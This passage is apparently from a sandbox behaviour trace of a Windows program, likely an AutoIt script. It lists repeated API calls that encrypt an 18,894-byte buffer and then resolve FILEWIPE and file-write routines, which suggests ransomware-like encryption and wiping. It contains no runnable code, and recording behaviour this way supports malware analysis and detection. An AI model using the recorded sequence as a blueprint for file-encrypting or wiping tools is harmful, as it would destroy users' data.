lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.115] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.116] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.116] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064b30, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b30*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.116] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.117] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.117] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.117] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x49ce, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x49d0) returned 1 [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.117] CharLowerBuffW (in: lpsz="byte[18897]", cchLength=0xb | out: lpsz="byte[18897]") returned 0xb [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.117] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.117] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.117] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43833f0*, pdwDataLen=0xe8f3dfdf68*=0x49ce, dwBufLen=0x49d0 | out: pbData=0xe8f43833f0*, pdwDataLen=0xe8f3dfdf68*=0x49d0) returned 1 [0028.117] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.118] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.118] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.118] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.118] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.119] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.119] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.119] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.119] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.119] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.119] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.119] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.119] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.120] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.120] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.120] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.120] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.120] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.120] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.120] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.120] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.120] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.121] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.122] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.122] CharLowerBuffW (in: lpsz="byte[18894]", cchLength=0xb | out: lpsz="byte[18894]") returned 0xb [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.122] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.122] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.122] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.122] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.123] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.123] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.123] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.123] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.123] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.125] PeekMessageW (in: 